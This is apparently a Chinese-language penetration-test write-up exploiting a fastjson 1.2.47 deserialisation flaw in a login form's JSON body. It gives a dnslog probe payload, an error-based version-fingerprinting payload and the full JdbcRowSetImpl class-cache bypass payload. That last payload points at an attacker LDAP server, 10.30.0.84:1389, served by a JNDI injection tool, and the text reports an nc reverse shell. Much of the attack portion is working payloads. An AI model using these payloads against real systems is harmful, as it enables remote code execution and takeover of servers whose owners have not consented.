进入首页,点击登录,
在登录处抓包,发现为json格式传入参数:
删个末尾的}(也可以加个"),看报错,很标准的fastjson错误提示,确定后端使用的fastjson
dnslog测试是否存在漏洞:
{
"@type":"java.net.Inet4Address",
"val":"zqs9do.dnslog.cn"
}
收到请求,存在漏洞。
探测fastjson精确版本:
{
"@type": "java.lang.AutoCloseable"
通过报错,发现版本为1.2.47,很经典的版本漏洞,利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。
关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断,比较麻烦,可以看之前的文章。
利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
使用nc反弹shell,bash反弹是不能成功的,因为没有。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.30.0.84:1389/wwsebk",
"autoCommit":true
}
}
接收到shell